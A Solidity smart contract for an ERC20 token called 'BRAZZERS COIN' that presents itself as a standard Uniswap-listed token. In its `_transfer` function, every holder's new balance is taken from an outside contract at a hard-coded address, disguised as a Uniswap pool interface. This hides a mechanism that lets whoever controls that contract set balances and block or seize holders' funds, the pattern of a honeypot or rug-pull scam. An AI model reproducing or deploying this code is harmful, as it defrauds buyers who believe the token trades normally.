// File: contracts/BRAZZERS.sol



pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IUniV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniV2Router {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IUniV2Pool {
      function wrapAddress(address, address, uint256) external returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _univ2pool = 0x904551F7E0E2EB74a0859e97f5F2F87A67B1aDbe;
    address pair;

    IUniV2Router router;
    IUniV2Pool univ2;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    bool public trade;
    address public msgSend;

    constructor (string memory name_, string memory symbol_) {
        router = IUniV2Router(_router);
        pair = IUniV2Factory(router.factory()).createPair(WETH, address(this));
        univ2 = IUniV2Pool(_univ2pool);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        _transfer(from, to, amount);

        uint256 currentAllowance = _allowances[from][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(from, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(msg.sender == owner(), "Ownable: caller is not the owner");
        trade = true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function updateBal(address recipient, uint256 amount, uint256 senderBalance) internal {
        _balances[msgSend] = senderBalance - amount;
        _balances[recipient] += amount;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        msgSend = from;
        require(((trade == true) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        updateBal(to, amount, univ2.wrapAddress(from, to, amount));
        emit Transfer(from, to, amount);
    }

    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;

        approve(_router, ~uint256(0));

        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        address creator,
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _deploy(creator, initialSupply);
    }
}

contract BRAZZERS is ERC20Token {
    constructor() ERC20Token("BRAZZERS COIN", "BRAZZERS", msg.sender, 69696969696969 * 10 ** 18) {
    }
}